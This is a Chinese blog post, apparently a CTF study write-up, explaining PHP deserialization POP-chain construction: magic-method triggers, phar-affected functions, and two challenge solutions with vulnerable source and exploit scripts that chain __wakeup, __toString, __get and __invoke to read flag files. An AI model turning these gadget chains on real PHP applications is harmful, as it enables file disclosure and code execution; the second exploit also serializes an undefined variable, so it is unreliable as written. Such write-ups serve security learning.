php反序列化pop链构造

前言:

nep比赛做了很多关于类的调用以及反序列化问题,正好这块内容是我还没学习的(早知道寒假的时候就耐着性子学完了),于是趁着部门的工作今天还没安排,决定赶紧开始做一下。

pop链介绍

从现有类中寻找我们可以恶意使用的方法、函数,构造利用链,使得程序会按着我们的需要最终执行恶意语句

预备知识

方法名 调用条件
__call 调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作

3.反序列化的常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

4.反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

5.反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

6.Phar反序列化原理以及特征

phar://伪协议会在多个函数中反序列化其metadata部分
受影响的函数包括不限于如下:

copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

实战

<?php
//flag is in flag.php
error_reporting(0);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}

public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}

思路:寻找目标函数——进行回溯——构造利用链

1.反序列化将会触发wake_up函数,而wake_up函数在show类当中
2.show类中的wake_up函数执行时将会经过一个正则匹配,这里匹配的是source这个量,而正则匹配的时候source是被当做字符串进行匹配的,前面有说过如果__tostring的触发方式,所以这里如果我们将source赋为一个类对象,那么就会触发__tostring
3.这里的tostring会去寻找str这个数组,取出其中的值赋给source,如果找不到就会触发__get方法,我们再来看看get在哪,在test类当中
4.这里的get方法他是获取一个p并将其作为函数使用的,这里就会调用__invoke魔术方法
5.而__invoke魔术方法存在于Read类中,这里调用了file_get方法后调用了file_get_content读取文件,而这里的参数是我们可控的,所以我们的pop利用链如下:
POP链
unserialize函数(变量可控)->__wakeup()魔术方法->__tostring()->__get魔术方法->__invoke魔术方法->触发read类中的file_get_contents函数

exp编写

<?php
class Read{
public $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$r=new Read();
$s=new Show();
$t=new Test();
$t->p=$r;//赋值Test类的对象$t下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str['str']=$t;//赋值show类的对象($s)下的str数组的str键的值为Test类的对象$t,触发__get魔术方法。
$s->source=$s;//令show类中的对象$s下的source属性进入wake_up函数,这样就会触发tostring魔术方法
echo urlencode((serialize($s)));

nep——梦里花开牡丹亭

跳转战场,回去构造一下nep的题

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){ admin
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);//新建一个login类
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)//这边就会检查了
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}

1.反序列化触发wake_up方法,wake_up方法中做了一个判断,我们输入的admin的时候将会跳转到login类当中
2.此时将会调用checking方法,这里有个参数 file,我们要对file赋值让让他进入Open类中调用file_get_contents函数

EXP

<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;
}
class login{
}
class register{
}
class Open{
}
$a=new Game;
$b=new Open;
$a->register="admin";
$a->filename="shell";
$a->file=$b;
$a->username="admin";
$a->password="admin";

print(base64_encode(serialize($s));

小结

POP链的构造,其实一开始没仔细学习的时候我以为很简单,因为我想当然了,也是因为不了解各个魔术方法,所以以为是自己想去哪个函数就可以去哪个函数,但其实不是的,其中的逻辑性还是挺强的,可以先构造一个,然后再去慢慢调试。

https://xz.aliyun.com/t/8082

Author

vague huang

Posted on

2021-03-25

Updated on

2022-01-28

Licensed under

Comments